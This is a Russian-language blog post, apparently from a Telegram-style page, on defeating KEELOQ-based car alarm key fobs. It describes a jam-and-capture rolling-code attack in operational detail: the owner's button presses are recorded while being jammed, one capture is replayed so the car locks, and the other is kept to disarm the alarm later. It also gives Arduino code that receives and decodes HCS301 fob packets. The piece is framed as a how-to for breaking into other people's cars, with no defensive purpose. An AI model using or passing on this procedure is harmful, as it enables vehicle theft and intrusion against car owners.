Техническая часть взлома сигнализации авто

Техническая часть взлома сигнализации авто

InfoBiz


Хочу рассказать вам о перехвате сигнала брелка (например сигнализации авто) и повторном его использовании. Для начала я нашел информацию по KEELOQ. Это достаточно распространенная микросхема, используемая в брелках. Ее защитная функция заключается в том, что после каждой отправки сигнала код меняется. Всего комбинаций 65000. Код формируется из кода производителя + серийный номер. Это ставит перед нами первую проблему - мы не можем просто один раз перехватить сигнал приемником и затем использовать его повторно. Значит, нам придется как то обмануть систему, об этом и пойдет речь в статье!

Нам понадобится ардуино и передатчик сигнала. В идеале еще вот этот набор (чтобы разбираться и углубляться)

Официально KEELOQ имеет 4 выхода, которые активируются при нажатии на одну из 4х кнопок брелка, но неофициально есть контакт "data" с которого можно считывать данные.

Расшифровку кода я не делал, однако из передаваемых данных можно вытащить следующую инфу: блок кодированной информации 32 бита, серийный номер брелка, нажатые кнопки, состояние батареи брелка.

На самом деле никто не взламывал KEELOQ и любой другой шифр не взламывают. Это и не нужно! Плюс ко всему, чтобы взломать надо тыкать на брелок N сотен раз. 

Чтобы организовать защиту от клонирования (копирования) пакета существует счетчик синхранизации:


Данный счетчик (Sync Value) при каждом нажатии на кнопку брелка инкрементируется (увеличивается на 1). В сигнализации помимо серийного номера брелка хранится еще и значение этого счетчика и каждый последующий пакет должен иметь значение счетчика больше чем предыдущий, иначе сигнализация никак не отреагирует на пакет, а может даже и сирену включит "распознав" в этом попытку взлома.

То есть не получится в момент снятия с охраны просто записать пакет брелка и воспроизвести его когда нибудь потом.

Так как как же тогда взламывают? - Да очень просто! 

Вся фича во взломе - это не техничекое оснащение и компьютерная мощь, а немного логики. Для взлома сигнализации вам понадобится естественно еще передатчик.

Итак, рассмотрим как это делается на сигнализациях, где на одну и ту же кнопку снимается и ставится охрана.

Когда хозяин авто нажимает на кнопку, считываем пакет, но при этом глушим его передатчиком, сигнализация данный пакет не принимает - то есть пакет прочитан только нами, сохраняем этот пакет. Далее хозяин авто (так как машина не закрылась) нажимает повторно, а мы делаем тоже самое. И сразу же отправляем сохраненный ранее пакет. Все! Машина закрыта, хозяин авто уходит, а у нас есть сохраненый пакет от второго нажатия с инкрементированным счетчиком, который и снимет сигналку с охраны.

Тут есть небольшая сложность - это одновременное глушение и прием пакета.

Я не знаю как это организованно в грабберах, но на ардуине можно организовать так: при приеме части пакета включается передатчик например в момент передачи первых 8 бит серийного номера, а при следущем приеме пакета включается например в момент передачи последних 8 бит серийного номера. То есть сигналка не распознает ни одного пакета, а мы можем из двух пакетов собрать правильный серийный номер. 

С сигналками, у которых снятие и постановка на охрану осуществляется разными кнопками все тоже самое только нужно дождаться пока хозяин авто в смятении начнет тыкать на все кнопки подряд и нажмет на снятие с охраны.

Вот как то так. 

Далее хочу привести вам пример типичного кода для наших целей на ардуино:

001 #define LED_PIN    13

002 

003 // Радиобрелки ///////////////////////////////////////////////////////////////////////////////////////

004 #define HCS_RECIEVER_PIN 2   // пин к которому подключен приемник для брелков

005 

006 class HCS301 {

007 public:

008    unsigned BattaryLow : 1; // На брелке села батарейка

009    unsigned Repeat : 1; // повторная посылка

010    unsigned BtnNoSound : 1;

011    unsigned BtnOpen : 1;

012    unsigned BtnClose : 1;

013    unsigned BtnRing : 1;

014    unsigned long SerialNum;

015    unsigned long Encript;

016 

017    void print();

018 };

019 

020 volatile boolean   HCS_Listening = true;      

021 byte               HCS_preamble_count = 0;

022 uint32_t           HCS_last_change = 0;

023 //uint32_t         HCS_start_preamble = 0;

024 uint8_t            HCS_bit_counter;               // счетчик считанных бит данных

025 uint8_t            HCS_bit_array[66];             // массив считанных бит данных

026 #define            HCS_TE     400                // типичная длительность имульса Te

027 #define            HCS_Te2_3  600                // HCS_TE * 3 / 2

028 

029 HCS301 hcs301;

030 

031 

032 void setup()

033 {

034    Serial.begin(9600);

035 

036    // Брелки

037    pinMode(HCS_RECIEVER_PIN, INPUT);

038    attachInterrupt(0, HCS_interrupt, CHANGE);

039 

040    Serial.println("Setup OK");

041 }

042 

043 

044 void loop()

045 {

046    long CurTime = millis();

047 

048    // проверяем наличие команды брелка

049    if(HCS_Listening == false){

050         

051        HCS301 msg;

052        memcpy(&msg,&hcs301,sizeof(HCS301));

053 

054        // включаем слушанье брелков снова

055        HCS_Listening = true;

056 

057        Serial.println(String("KeyFb#")+String(msg.SerialNum));

058    }

059 

060 }

061  

062 // Функции класса HCS301 для чтения брелков

063 void HCS301::print(){

064    String btn;

065 

066    if (BtnRing == 1) btn += "Ring";

067    if (BtnClose == 1) btn += "Close";

068    if (BtnOpen == 1) btn += "Open";

069    if (BtnNoSound == 1) btn += "NoSound";

070 

071    String it2;

072    it2 += "Encript ";

073    it2 += Encript;

074    it2 += " Serial ";

075    it2 += SerialNum;

076    it2 += " ";

077    it2 += btn;

078    it2 += " BattaryLow=";

079    it2 += BattaryLow;

080    it2 += " Rep=";

081    it2 += Repeat;

082 

083    Serial.println(it2);

084 

085 }

086 

087 void HCS_interrupt(){

088 

089    if(HCS_Listening == false){

090        return;

091    }

092 

093    uint32_t cur_timestamp = micros();

094    uint8_t cur_status = digitalRead(HCS_RECIEVER_PIN);

095    uint32_t pulse_duration = cur_timestamp - HCS_last_change;

096    HCS_last_change        = cur_timestamp;

097 

098    // ловим преамбулу

099    if(HCS_preamble_count < 12){

100        if(cur_status == HIGH){

101            if( ((pulse_duration > 150) && (pulse_duration < 500)) || HCS_preamble_count == 0){

102                // начало импульса преамбулы

103                //if(HCS_preamble_count == 0){

104                // HCS_start_preamble = cur_timestamp; // Отметим время старта преамбулы

105                //}

106            } else {

107                // поймали какую то фигню, неправильная пауза между импульсами

108                HCS_preamble_count = 0; // сбрасываем счетчик пойманных импульсов преамбулы

109                goto exit;

110 

111            }

112        } else {

113            // конец импульса преамбулы

114            if((pulse_duration > 300) && (pulse_duration < 600)){

115                // поймали импульс преамбулы

116                HCS_preamble_count ++;

117                if(HCS_preamble_count == 12){

118                    // словили преамбулу

119                    //HCS_Te = (cur_timestamp - HCS_start_preamble) / 23; // вычисляем длительность базового импульса Te

120                    //HCS_Te2_3 = HCS_Te * 3 / 2;

121                    HCS_bit_counter = 0;

122                    goto exit;

123                }

124            } else {

125                // поймали какую то фигню

126                HCS_preamble_count = 0; // сбрасываем счетчик пойманных импульсов преамбулы

127                goto exit;

128            }

129        }

130    }

131     

132 

133    // ловим данные

134    if(HCS_preamble_count == 12){

135        if(cur_status == HIGH){

136            if(((pulse_duration > 250) && (pulse_duration < 900)) || HCS_bit_counter == 0){

137                // начало импульса данных

138            } else {

139                // неправильная пауза между импульсами

140                HCS_preamble_count = 0;

141                goto exit;

142            }

143        } else {

144            // конец импульса данных

145            if((pulse_duration > 250) && (pulse_duration < 900)){

146                HCS_bit_array[65 - HCS_bit_counter] = (pulse_duration > HCS_Te2_3) ? 0 : 1; // импульс больше, чем половина от Те * 3 поймали 0, иначе 1

147                HCS_bit_counter++; 

148                if(HCS_bit_counter == 66){

149                    // поймали все биты данных

150                 

151                    HCS_Listening = false; // отключем прослушку приемника, отправляем пойманные данные на обработку

152                    HCS_preamble_count = 0; // сбрасываем счетчик пойманных импульсов преамбулы

153 

154                    hcs301.Repeat = HCS_bit_array[0];

155                    hcs301.BattaryLow = HCS_bit_array[1];

156                    hcs301.BtnNoSound = HCS_bit_array[2];

157                    hcs301.BtnOpen = HCS_bit_array[3];

158                    hcs301.BtnClose = HCS_bit_array[4];

159                    hcs301.BtnRing = HCS_bit_array[5];

160 

161                    hcs301.SerialNum = 0;

162                    for(int i = 6; i < 34;i++){

163                        hcs301.SerialNum = (hcs301.SerialNum << 1) + HCS_bit_array[i];

164                    };

165 

166                    uint32_t Encript = 0;

167                    for(int i = 34; i < 66;i++){

168                         Encript = (Encript << 1) + HCS_bit_array[i];

169                    };

170                    hcs301.Encript = Encript;

171                }

172            } else {

173                // поймали хрень какую то, отключаемся

174                HCS_preamble_count = 0;

175                goto exit;

176            }

177        }

178    }

179     

180    exit:;

181 

182    //digitalWrite(LED_PIN,cur_status);

183 }


Вот такие дела. Всем спасибо за внимание!

Report Page